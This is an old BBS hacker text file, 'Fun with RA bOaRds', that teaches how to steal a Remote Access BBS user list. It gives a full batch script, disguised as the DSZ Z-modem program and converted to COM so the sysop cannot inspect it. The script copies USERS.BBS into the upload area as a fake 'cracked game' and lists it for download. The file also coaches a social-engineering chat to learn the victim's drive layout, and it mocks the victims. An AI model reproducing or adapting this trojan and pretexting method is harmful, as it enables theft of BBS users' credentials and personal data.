149 lines
5.3 KiB
Plaintext
149 lines
5.3 KiB
Plaintext
|
||
|
||
|
||
|
||
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
|
||
$ $
|
||
$ Fun with RA bOaRds $
|
||
$ $
|
||
$ by vINCE nIEL $
|
||
$ $
|
||
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
|
||
|
||
|
||
|
||
Remote Access BBS software sucks, and a SysOp who would want to run it is
|
||
asking for it, so we're going to teach him a lesson by doing some fun
|
||
things with his board. The first thing we will do is steal his user
|
||
list.
|
||
|
||
|
||
First a program must be found that the SysOp wants and will execute on
|
||
his BBS system. It could be a wide range of items. It can be some soft-
|
||
ware (doesn't have to be pirate) that the operator has been requesting for
|
||
a while. For this demonstration, we will use DSZ <Z modem>.
|
||
|
||
|
||
You will also need a program called BAT2EXEC.COM made by the staff at
|
||
PC-Magazine. Its main purpose it to convert large Batch file to Com
|
||
files. Com files run faster and cannot be aborted with ^C.
|
||
|
||
|
||
DSZ includes-
|
||
|
||
DSZ.DOC
|
||
DSZ.EXE
|
||
|
||
Rename DSZ.EXE to DSZ.DAT.
|
||
|
||
|
||
Now, make a batch file called DSZ.BAT. It should look something
|
||
like this.
|
||
|
||
@ECHO OFF
|
||
IF EXIST C:\RA\USERS.BBS GOTO COPY
|
||
REM Checks to see if the USERS.BBS listing is there.
|
||
GOTO DSZ
|
||
:COPY
|
||
IF EXIST D:\FILES\UPLOAD\GAME.ZIP GOTO DSZ
|
||
REM Sets it to only copy once.
|
||
REM Now we want to copy the USERS.BBS listing to the new file
|
||
REN directory, under the name of GAME.ZIP
|
||
COPY C:\RA\USERS.BBS D:\FILES\UPLOAD\GAME.ZIP >DMP.DMP
|
||
REM DMP.DMP is used to redirect the screen output
|
||
REM Now is the tricky part. You need to have FILES.BBS listing
|
||
REM add TOOBIN1.ZIP to it's listing of on-line files.
|
||
COPY DSZ.DMP + D:\FILES\UPLOAD\FILES.BBS
|
||
D:\FILES\UPLOAD\FILES.BAK > DMP.DMP
|
||
REM D:\files\upload will change depending on the sub-dir setup.
|
||
REM DSZ.DMP, a file you will need to make, is appended to
|
||
REM a listing of all available files.
|
||
COPY D:\FILES\UPLOAD\FILES.BAK D:\FILES\UPLOAD\FILES.BBS >DMP.DMP
|
||
DEL DMP.DMP
|
||
:DSZ
|
||
REM Now we want to run DSZ like normal.
|
||
REN DSZ.DAT DZ.EXE
|
||
REM Turn back on monitor
|
||
DSZ %1 %2 %3 %4 %5 %6 %7
|
||
REN DZ.EXE DSZ.DAT
|
||
REM All done!
|
||
|
||
This is a generic program and you will have to tailor it so it will
|
||
meet your needs.
|
||
|
||
Now, run BAT2EXEC DSZ.BAT, to create DSZ.COM
|
||
|
||
If the program does not "compile" and gives you some kind of error,
|
||
that means that your program is 'too small' to be converted. Bat2exec
|
||
was made for large files, and really does not like small ones. All you
|
||
have to do is add a couple 100 ECHO statements at then end of your program
|
||
and everything should be fine.
|
||
|
||
Ok, remember how i said you need to add USERS.BBS (which was
|
||
renamed game.zip) to the FILES.BBS listing? Ok, now create a
|
||
file that is called DSZ.DMP, and that looks like this.
|
||
|
||
GAME.ZIP Game Disk #1, cracked by INC!
|
||
(Description should start on 14th line)
|
||
|
||
Now I will recap what will happen when you have everything
|
||
setup. The sysop sees that someone (You) has uploaded the newest
|
||
version of DSZ Z-Modem, so he installs it. The files he places
|
||
in his protocol directory are:
|
||
|
||
DSZ.COM -Your batch file changed into COM.
|
||
DSZ.DAT -The real DSZ
|
||
DSZ.DOC -Docs to DSZ
|
||
DSZ.DMP -Has text that says "game.zip"
|
||
|
||
Now, he gets his BBS software to run DSZ.COM, which he thinks is
|
||
DSZ. Because it's a com file, he can't tell what it does, which
|
||
is the whole reason for using BAT2EXEC.COM anyway. There is no
|
||
way he can tell what DSZ.COM does. DSZ.COM runs, and copies
|
||
USERS.BBS listing to the new files listing under the name
|
||
GAME.ZIP. Then, DSZ.DMP is added to the Files.BBS listing, so
|
||
when you do a listing of new files, it will be there. Then
|
||
DSZ.DAT is renamed to DZ.EXE. DZ.EXE is then run. Then DZ.EXE
|
||
is renamed back to DSZ.DAT. Now, all you have to do is download
|
||
GAME.ZIP, and you are off!
|
||
|
||
This procedure I have created for Remote Access boards, but you have
|
||
to know the SysOp's drive specifications. Whether he has a C: or D:
|
||
drive, and what directory is Remote Access installed on. This can
|
||
be found out simply by casually slipping it into the conversation.
|
||
|
||
SysOp: "Whadda ya want? I'm masturbating!"
|
||
|
||
You: "How's it going! Can I upload a really big big huge ware?"
|
||
|
||
SysOp: "k00l k0dEz!!&^**@! Sure upload, I like uploads!"
|
||
|
||
You "Do you have the space for it? Its really new and takes up
|
||
a lot of space! How big is your hard disk?"
|
||
|
||
SysOp: "D00d, my HD is 60o g1gz!"
|
||
|
||
You: "So you only have one hard disk?"
|
||
|
||
SysOp "No d00d, I have two; a c: and d:!"
|
||
|
||
You: "we9o65hfgkjl<6A>9:<3A><>r45976hyt sorry man Line Noise, :?<3F>.<2E><>6<EFBFBD>
|
||
28<32>+:7y3fdfvgjk goto run!"
|
||
|
||
At this point you know all the information. The chances of the board
|
||
not being under the sub-directory of \RA are extremely slim. If he says
|
||
he has one HD, you're all set. If he says he has two, then it should
|
||
probably be on the c: drive, but ask him just in case. Just slip it into
|
||
the conversation. You'd be amazed how st00pid people can be!
|
||
|
||
So Until Next Time...
|
||
|
||
|
||
"You're only dancing on this earth for a short while."
|
||
|
||
|
||
I can be reached at:
|
||
The Clam Plate Orgy: (617) 596-0415
|
||
Maniacal Plunge : (617) 231-3074
|
||
Internet : foobar@silver.lcs.mit.edu
|
||
|